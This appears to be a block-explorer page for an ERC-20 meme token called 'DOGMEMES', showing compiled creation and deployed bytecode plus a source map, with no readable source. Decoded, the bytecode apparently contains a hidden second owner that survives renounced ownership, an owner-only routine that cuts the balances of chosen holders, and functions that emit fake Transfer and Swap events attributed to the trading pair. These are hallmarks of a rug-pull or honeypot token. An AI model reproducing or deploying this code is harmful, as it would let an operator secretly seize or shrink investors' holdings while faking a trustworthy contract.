00000000602082015250565b5f611f21602283611501565b9150611f2c82611ec7565b604082019050919050565b5f6020820190508181035f830152611f4e81611f15565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611f89601d83611501565b9150611f9482611f55565b602082019050919050565b5f6020820190508181035f830152611fb681611f7d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612017602583611501565b915061202282611fbd565b604082019050919050565b5f6020820190508181035f8301526120448161200b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6120a5602383611501565b91506120b08261204b565b604082019050919050565b5f6020820190508181035f8301526120d281612099565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f612133602683611501565b915061213e826120d9565b604082019050919050565b5f6020820190508181035f83015261216081612127565b9050919050565b5f60608201905061217a5f830186611859565b6121876020830185611859565b61219460408301846116b0565b949350505050565b6121a58161167d565b81146121af575f80fd5b50565b5f815190506121c08161219c565b92915050565b5f602082840312156121db576121da6115aa565b5b5f6121e8848285016121b2565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6122288261160c565b91506122338361160c565b925082612243576122426121f1565b5b828204905092915050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f612282601e83611501565b915061228d8261224e565b602082019050919050565b5f6020820190508181035f8301526122af81612276565b9050919050565b5f6122c08261160c565b91506122cb8361160c565b92508282039050818111156122e3576122e2611b0c565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61231d601b83611501565b9150612328826122e9565b602082019050919050565b5f6020820190508181035f83015261234a81612311565b905091905056fe446f67655368696261466c6f6b69446f67656c6f6e4b69736875426f6e6b566f6c7453616d6f79656450697462756c6c56697461416b69746144696e676fa264697066735822122091a4684e7f5b23f4aa743179cd1499290c7b350aae46a09efc3225d5c5884c3164736f6c63430008140033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610114575f3560e01c806370a08231116100a05780639b792a441161006f5780639b792a44146102e0578063a1c617f514610310578063a457c2d71461032c578063a9059cbb1461035c578063dd62ed3e1461038c57610114565b806370a082311461026a578063715018a61461029a5780638da5cb5b146102a457806395d89b41146102c257610114565b806323b872dd116100e757806323b872dd146101a0578063313ce567146101d057806335d16274146101ee578063395093511461021e57806366d382031461024e57610114565b806306fdde0314610118578063095ea7b31461013657806318160ddd1461016657806318aee92014610184575b5f80fd5b6101206103bc565b60405161012d9190611581565b60405180910390f35b610150600480360381019061014b919061163f565b6103d8565b60405161015d9190611697565b60405180910390f35b61016e6103ee565b60405161017b91906116bf565b60405180910390f35b61019e60048036038101906101999190611739565b6103f4565b005b6101ba60048036038101906101b591906117aa565b610580565b6040516101c79190611697565b60405180910390f35b6101d86105a2565b6040516101e59190611815565b60405180910390f35b6102086004803603810190610203919061182e565b6105a7565b60405161021591906116bf565b60405180910390f35b6102386004803603810190610233919061163f565b610733565b6040516102459190611697565b60405180910390f35b6102686004803603810190610263919061182e565b610762565b005b610284600480360381019061027f919061182e565b610834565b60405161029191906116bf565b60405180910390f35b6102a261087a565b005b6102ac61094b565b6040516102b99190611868565b60405180910390f35b6102ca610970565b6040516102d79190611581565b60405180910390f35b6102fa60048036038101906102f591906119b9565b6109a9565b6040516103079190611697565b60405180910390f35b61032a60048036038101906103259190611739565b610a8a565b005b6103466004803603810190610341919061163f565b610c11565b6040516103539190611697565b60405180910390f35b6103766004803603810190610371919061163f565b610c7f565b6040516103839190611697565b60405180910390f35b6103a660048036038101906103a19190611a39565b610c95565b6040516103b391906116bf565b60405180910390f35b6040518060600160405280603e8152602001612352603e913981565b5f6103e4338484610d17565b6001905092915050565b60095481565b3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610483576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047a90611ac1565b60405180910390fd5b5f5b8484905081101561057957826104c18686848181106104a7576104a6611adf565b5b90506020020160208101906104bc919061182e565b610834565b1115610566575f6104f98686848181106104de576104dd611adf565b5b90506020020160208101906104f3919061182e565b84610eda565b90508060075f88888681811061051257610511611adf565b5b9050602002016020810190610527919061182e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b808061057190611b39565b915050610485565b5050505050565b5f61058c843384610f2a565b610597848484610fb5565b600190509392505050565b601281565b5f805f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610614573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106389190611bfc565b50915091505f8473ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106bf573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e39190611c60565b73ffffffffffffffffffffffffffffffffffffffff161461071457816dffffffffffffffffffffffffffff16610726565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b5f803390506107578185856107488589610c95565b6107529190611c8b565b610d17565b600191505092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e890611d08565b60405180910390fd5b8060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610909576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090090611d08565b60405180910390fd5b5f60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600881526020017f444f474d454d455300000000000000000000000000000000000000000000000081525081565b5f3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3090611ac1565b60405180910390fd5b5f5b8551811015610a7d57610a6a868281518110610a5a57610a59611adf565b5b6020026020010151868686611253565b8080610a7590611b39565b915050610a3b565b5060019050949350505050565b5f5b84849050811015610c0a57848482818110610aaa57610aa9611adf565b5b9050602002016020810190610abf919061182e565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f75b2fdf4488954cfbe3fad3f07ca6ebf12156d6b897c6df1014d7c51ed322771855f8087604051610b429493929190611d68565b60405180910390a3848482818110610b5d57610b5c611adf565b5b9050602002016020810190610b72919061182e565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610bef91906116bf565b60405180910390a38080610c0290611b39565b915050610a8c565b5050505050565b5f803390505f610c218286610c95565b905083811015610c66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5d90611e1b565b60405180910390fd5b610c738286868403610d17565b60019250505092915050565b5f610c8b338484610fb5565b6001905092915050565b5f60085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7c90611ea9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610df3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dea90611f37565b60405180910390fd5b8060085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ecd91906116bf565b60405180910390a3505050565b5f610f2260075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20548361130d565b905092915050565b5f610f358484610c95565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610faf5781811015610fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9890611f9f565b60405180910390fd5b610fae8484848403610d17565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611023576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101a9061202d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611091576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611088906120bb565b60405180910390fd5b5f60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611115576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110c90612149565b60405180910390fd5b61111f8183611322565b60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506111a760075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20548361137f565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161124591906116bf565b60405180910390a350505050565b61125d84846113dc565b611268838386611466565b8073ffffffffffffffffffffffffffffffffffffffff1663e156b1b68560015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff1660e01b81526004016112c693929190612167565b6020604051808303815f875af11580156112e2573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061130691906121c6565b5050505050565b5f818361131a919061221e565b905092915050565b5f82821115611366576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135d90612298565b60405180910390fd5b5f828461137391906122b6565b90508091505092915050565b5f80828461138d9190611c8b565b9050838110156113d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c990612333565b60405180910390fd5b8091505092915050565b8173ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161145a91906116bf565b60405180910390a35050565b8073ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822855f80876040516114ea9493929190611d68565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561152e578082015181840152602081019050611513565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611553826114f7565b61155d8185611501565b935061156d818560208601611511565b61157681611539565b840191505092915050565b5f6020820190508181035f8301526115998184611549565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6115db826115b2565b9050919050565b6115eb816115d1565b81146115f5575f80fd5b50565b5f81359050611606816115e2565b92915050565b5f819050919050565b61161e8161160c565b8114611628575f80fd5b50565b5f8135905061163981611615565b92915050565b5f8060408385031215611655576116546115aa565b5b5f611662858286016115f8565b92505060206116738582860161162b565b9150509250929050565b5f8115159050919050565b6116918161167d565b82525050565b5f6020820190506116aa5f830184611688565b92915050565b6116b98161160c565b82525050565b5f6020820190506116d25f8301846116b0565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126116f9576116f86116d8565b5b8235905067ffffffffffffffff811115611716576117156116dc565b5b602083019150836020820283011115611732576117316116e0565b5b9250929050565b5f805f8060608587031215611751576117506115aa565b5b5f85013567ffffffffffffffff81111561176e5761176d6115ae565b5b61177a878288016116e4565b9450945050602061178d8782880161162b565b925050604061179e8782880161162b565b91505092959194509250565b5f805f606084860312156117c1576117c06115aa565b5b5f6117ce868287016115f8565b93505060206117df868287016115f8565b92505060406117f08682870161162b565b9150509250925092565b5f60ff82169050919050565b61180f816117fa565b82525050565b5f6020820190506118285f830184611806565b92915050565b5f60208284031215611843576118426115aa565b5b5f611850848285016115f8565b91505092915050565b611862816115d1565b82525050565b5f60208201905061187b5f830184611859565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6118b782611539565b810181811067ffffffffffffffff821117156118d6576118d5611881565b5b80604052505050565b5f6118e86115a1565b90506118f482826118ae565b919050565b5f67ffffffffffffffff82111561191357611912611881565b5b602082029050602081019050919050565b5f611936611931846118f9565b6118df565b90508083825260208201905060208402830185811115611959576119586116e0565b5b835b81811015611982578061196e88826115f8565b84526020840193505060208101905061195b565b5050509392505050565b5f82601f8301126119a05761199f6116d8565b5b81356119b0848260208601611924565b91505092915050565b5f805f80608085870312156119d1576119d06115aa565b5b5f85013567ffffffffffffffff8111156119ee576119ed6115ae565b5b6119fa8782880161198c565b9450506020611a0b8782880161162b565b9350506040611a1c8782880161162b565b9250506060611a2d878288016115f8565b91505092959194509250565b5f8060408385031215611a4f57611a4e6115aa565b5b5f611a5c858286016115f8565b9250506020611a6d858286016115f8565b9150509250929050565b7f43616c6c6572206973206e6f7420746865204f776e65720000000000000000005f82015250565b5f611aab601783611501565b9150611ab682611a77565b602082019050919050565b5f6020820190508181035f830152611ad881611a9f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611b438261160c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611b7557611b74611b0c565b5b600182019050919050565b5f6dffffffffffffffffffffffffffff82169050919050565b611ba281611b80565b8114611bac575f80fd5b50565b5f81519050611bbd81611b99565b92915050565b5f63ffffffff82169050919050565b611bdb81611bc3565b8114611be5575f80fd5b50565b5f81519050611bf681611bd2565b92915050565b5f805f60608486031215611c1357611c126115aa565b5b5f611c2086828701611baf565b9350506020611c3186828701611baf565b9250506040611c4286828701611be8565b9150509250925092565b5f81519050611c5a816115e2565b92915050565b5f60208284031215611c7557611c746115aa565b5b5f611c8284828501611c4c565b91505092915050565b5f611c958261160c565b9150611ca08361160c565b9250828201905080821115611cb857611cb7611b0c565b5b92915050565b7f43616c6c6572206973206e6f7420746865206f776e65720000000000000000005f82015250565b5f611cf2601783611501565b9150611cfd82611cbe565b602082019050919050565b5f6020820190508181035f830152611d1f81611ce6565b9050919050565b5f819050919050565b5f819050919050565b5f611d52611d4d611d4884611d26565b611d2f565b61160c565b9050919050565b611d6281611d38565b82525050565b5f608082019050611d7b5f8301876116b0565b611d886020830186611d59565b611d956040830185611d59565b611da260608301846116b0565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f611e05602583611501565b9150611e1082611dab565b604082019050919050565b5f6020820190508181035f830152611e3281611df9565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611e93602483611501565b9150611e9e82611e39565b604082019050919050565b5f6020820190508181035f830152611ec081611e87565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611f21602283611501565b9150611f2c82611ec7565b604082019050919050565b5f6020820190508181035f830152611f4e81611f15565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611f89601d83611501565b9150611f9482611f55565b602082019050919050565b5f6020820190508181035f830152611fb681611f7d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612017602583611501565b915061202282611fbd565b604082019050919050565b5f6020820190508181035f8301526120448161200b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6120a5602383611501565b91506120b08261204b565b604082019050919050565b5f6020820190508181035f8301526120d281612099565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f612133602683611501565b915061213e826120d9565b604082019050919050565b5f6020820190508181035f83015261216081612127565b9050919050565b5f60608201905061217a5f830186611859565b6121876020830185611859565b61219460408301846116b0565b949350505050565b6121a58161167d565b81146121af575f80fd5b50565b5f815190506121c08161219c565b92915050565b5f602082840312156121db576121da6115aa565b5b5f6121e8848285016121b2565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6122288261160c565b91506122338361160c565b925082612243576122426121f1565b5b828204905092915050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f612282601e83611501565b915061228d8261224e565b602082019050919050565b5f6020820190508181035f8301526122af81612276565b9050919050565b5f6122c08261160c565b91506122cb8361160c565b92508282039050818111156122e3576122e2611b0c565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61231d601b83611501565b9150612328826122e9565b602082019050919050565b5f6020820190508181035f83015261234a81612311565b905091905056fe446f67655368696261466c6f6b69446f67656c6f6e4b69736875426f6e6b566f6c7453616d6f79656450697462756c6c56697461416b69746144696e676fa264697066735822122091a4684e7f5b23f4aa743179cd1499290c7b350aae46a09efc3225d5c5884c3164736f6c63430008140033

Deployed Bytecode Sourcemap

1579:8052:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2250:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4282:158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2442:42;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7485:421;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4448:248;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2400:35;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7187:290;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4704:242;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7922:86;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3846:117;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3755:83;;;:::i;:::-;;1662:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2351:42;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6821:358;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8020:293;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4954:438;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3971:150;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4129:145;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2250:94;;;;;;;;;;;;;;;;;;;:::o;4282:158::-;4356:4;4373:37;4382:10;4394:7;4403:6;4373:8;:37::i;:::-;4428:4;4421:11;;4282:158;;;;:::o;2442:42::-;;;;:::o;7485:421::-;3308:10;3298:20;;:6;;;;;;;;;;;:20;;;3290:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;7642:9:::1;7637:262;7661:6;;:13;;7657:1;:17;7637:262;;;7723:19;7700:20;7710:6;;7717:1;7710:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;7700;:20::i;:::-;:42;7696:192;;;7763:20;7786:33;7799:6;;7806:1;7799:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;7810:8;7786:12;:33::i;:::-;7763:56;;7860:12;7838:8;:19;7847:6;;7854:1;7847:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;7838:19;;;;;;;;;;;;;;;:34;;;;7744:144;7696:192;7676:3;;;;;:::i;:::-;;;;7637:262;;;;7485:421:::0;;;;:::o;4448:248::-;4570:4;4587:41;4603:4;4609:10;4621:6;4587:15;:41::i;:::-;4639:27;4649:4;4655:2;4659:6;4639:9;:27::i;:::-;4684:4;4677:11;;4448:248;;;;;:::o;2400:35::-;2433:2;2400:35;:::o;7187:290::-;7252:7;7273:16;7291;7313:5;;;;;;;;;;;:17;;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7272:60;;;;;7343:24;7389:5;7371:23;;:5;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:23;;;7370:65;;7426:8;7418:17;;7370:65;;;7406:8;7398:17;;7370:65;7343:92;;7453:16;7446:23;;;;;7187:290;;;:::o;4704:242::-;4792:4;4809:15;4827:10;4809:28;;4848:68;4857:7;4866;4905:10;4875:27;4885:7;4894;4875:9;:27::i;:::-;:40;;;;:::i;:::-;4848:8;:68::i;:::-;4934:4;4927:11;;;4704:242;;;;:::o;7922:86::-;3192:10;3183:19;;:5;;;;;;;;;;;:19;;;3175:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;7993:7:::1;7984:6;;:16;;;;;;;;;;;;;;;;;;7922:86:::0;:::o;3846:117::-;3911:7;3938:8;:17;3947:7;3938:17;;;;;;;;;;;;;;;;3931:24;;3846:117;;;:::o;3755:83::-;3192:10;3183:19;;:5;;;;;;;;;;;:19;;;3175:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;3828:1:::1;3812:5;;:18;;;;;;;;;;;;;;;;;;3755:83::o:0;1662:20::-;;;;;;;;;;;;;:::o;2351:42::-;;;;;;;;;;;;;;;;;;;:::o;6821:358::-;6999:4;3308:10;3298:20;;:6;;;;;;;;;;;:20;;;3290:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;7021:9:::1;7016:134;7040:10;:17;7036:1;:21;7016:134;;;7079:59;7085:10;7096:1;7085:13;;;;;;;;:::i;:::-;;;;;;;;7100:11;7113:10;7125:12;7079:5;:59::i;:::-;7059:3;;;;;:::i;:::-;;;;7016:134;;;;7167:4;7160:11;;6821:358:::0;;;;;;:::o;8020:293::-;8122:9;8117:189;8141:11;;:18;;8137:1;:22;8117:189;;;8221:11;;8233:1;8221:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;8186:50;;8192:10;;;;;;;;;;;8186:50;;;8204:3;8209:1;8212;8215:4;8186:50;;;;;;;;;:::i;:::-;;;;;;;;8273:11;;8285:1;8273:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;8256:38;;8265:6;;;;;;;;;;;8256:38;;;8289:4;8256:38;;;;;;:::i;:::-;;;;;;;;8161:3;;;;;:::i;:::-;;;;8117:189;;;;8020:293;;;;:::o;4954:438::-;5047:4;5064:15;5082:10;5064:28;;5103:24;5130:27;5140:7;5149;5130:9;:27::i;:::-;5103:54;;5196:15;5176:16;:35;;5168:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;5289:62;5298:7;5307;5335:15;5316:16;:34;5289:8;:62::i;:::-;5380:4;5373:11;;;;4954:438;;;;:::o;3971:150::-;4041:4;4058:33;4068:10;4080:2;4084:6;4058:9;:33::i;:::-;4109:4;4102:11;;3971:150;;;;:::o;4129:145::-;4211:7;4238:10;:19;4249:7;4238:19;;;;;;;;;;;;;;;:28;4258:7;4238:28;;;;;;;;;;;;;;;;4231:35;;4129:145;;;;:::o;5959:387::-;6116:1;6097:21;;:7;:21;;;6089:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;6197:1;6178:21;;:7;:21;;;6170:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6282:6;6251:10;:19;6262:7;6251:19;;;;;;;;;;;;;;;:28;6271:7;6251:28;;;;;;;;;;;;;;;:37;;;;6322:7;6304:34;;6313:7;6304:34;;;6331:6;6304:34;;;;;;:::i;:::-;;;;;;;;5959:387;;;:::o;9038:146::-;9116:7;9143:33;9150:8;:15;9159:5;9150:15;;;;;;;;;;;;;;;;9167:8;9143:6;:33::i;:::-;9136:40;;9038:146;;;;:::o;6354:459::-;6491:24;6518:27;6528:7;6537;6518:9;:27::i;:::-;6491:54;;6580:17;6560:16;:37;6556:250;;6642:6;6622:16;:26;;6614:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6726:53;6735:7;6744;6772:6;6753:16;:25;6726:8;:53::i;:::-;6556:250;6480:333;6354:459;;;:::o;5400:551::-;5547:1;5531:18;;:4;:18;;;5523:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5624:1;5610:16;;:2;:16;;;5602:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;5679:19;5701:8;:14;5710:4;5701:14;;;;;;;;;;;;;;;;5679:36;;5749:6;5734:11;:21;;5726:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;5826:24;5830:11;5843:6;5826:3;:24::i;:::-;5809:8;:14;5818:4;5809:14;;;;;;;;;;;;;;;:41;;;;5876:25;5880:8;:12;5889:2;5880:12;;;;;;;;;;;;;;;;5894:6;5876:3;:25::i;:::-;5861:8;:12;5870:2;5861:12;;;;;;;;;;;;;;;:40;;;;5932:2;5917:26;;5926:4;5917:26;;;5936:6;5917:26;;;;;;:::i;:::-;;;;;;;;5512:439;5400:551;;;:::o;8321:341::-;8481:37;8495:9;8506:11;8481:13;:37::i;:::-;8529:45;8539:11;8552:10;8564:9;8529;:45::i;:::-;8592:12;8585:30;;;8616:9;8635:5;;;;;;;;;;;8643:10;8585:69;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;8321:341;;;;:::o;9527:101::-;9588:7;9619:1;9615;:5;;;;:::i;:::-;9608:12;;9527:101;;;;:::o;3563:184::-;3621:7;3654:1;3649;:6;;3641:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;3701:9;3717:1;3713;:5;;;;:::i;:::-;3701:17;;3738:1;3731:8;;;3563:184;;;;:::o;3374:181::-;3432:7;3452:9;3468:1;3464;:5;;;;:::i;:::-;3452:17;;3493:1;3488;:6;;3480:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;3546:1;3539:8;;;3374:181;;;;:::o;8670:144::-;8783:9;8758:48;;8775:5;;;;;;;;;;;8758:48;;;8794:11;8758:48;;;;;;:::i;:::-;;;;;;;;8670:144;;:::o;8822:208::-;9012:9;8960:62;;8965:14;;;;;;;;;;;8960:62;;;8981:11;8994:1;8997;9000:10;8960:62;;;;;;;;;:::i;:::-;;;;;;;;8822:208;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1349:75::-;1382:6;1415:2;1409:9;1399:19;;1349:75;:::o;1430:117::-;1539:1;1536;1529:12;